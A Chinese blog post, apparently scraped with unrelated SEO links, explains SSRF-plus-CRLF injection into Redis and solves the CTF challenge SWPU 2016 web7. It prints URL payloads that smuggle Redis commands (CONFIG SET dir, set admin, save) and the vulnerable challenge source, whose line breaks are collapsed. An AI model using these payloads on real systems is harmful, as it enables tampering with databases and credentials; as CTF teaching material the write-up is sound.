当前位置: 首页 > news >正文

江津区城乡建设委员会网站电话营销系统

江津区城乡建设委员会网站,电话营销系统,可以做项目的网站,给公司做网站的费用入什么科目文章目录 注入原理例题 [SWPU 2016]web7 注入原理 参考文章 应用场景是具有SSRF漏洞,结合CRLF注入 我们以redis数据库为例,当存在SSRF时我们伪造以下请求 http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%…

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.ds6.com.cn/news/57288.html

相关文章:

  • 杭州优化网站查排名官网
  • 现货行情分析软件appseo是哪个国家
  • 网站格式有哪些内容百度怎么打广告
  • 包头seo哪家好吉林关键词优化的方法
  • 做catalog的免费网站广州网站优化服务商
  • 网站更换logo线上营销模式有哪些
  • 企业网站空间买虚拟主机品牌推广活动有哪些
  • 漳州芗城疫情最新消息seo工作内容有哪些
  • 电商网站开发可行分析国内好的seo
  • 深圳网站建设开发公司百度网址大全官网
  • 商城网站模版网络竞价
  • 网站设计外文文献百度账户安全中心
  • 灵芝产品网站建设方案廊坊seo排名外包
  • 新化网站建设杭州网站设计公司
  • 做批发的国际网站有哪些重庆森林电影高清在线观看
  • 建设网站的企业是什么小程序拉新推广平台
  • 长春网站设计策划莱芜seo
  • 郑州制作网站公司百度推广平台首页
  • lnmp wordpress主题seo建站是什么
  • 网站推广广告 优帮云搜索关键词的软件
  • 投教网站建设如何做好网络推广
  • 网站某个链接失效站长素材音效
  • 网上商城个人店铺广东网站se0优化公司
  • 企业为什么做网站优化推广靠网络营销火起来的企业
  • 已有网站怎么做后台关键词优化的最佳方法
  • 怎么查自己是不是备案人员seo搜索优化服务
  • seo网站导航建设技巧如何做一个营销方案
  • 网站后台做的超链接打不开百度打广告怎么收费
  • iis做的网站提示500自媒体推广
  • 乐山网站制作设计公司seo软件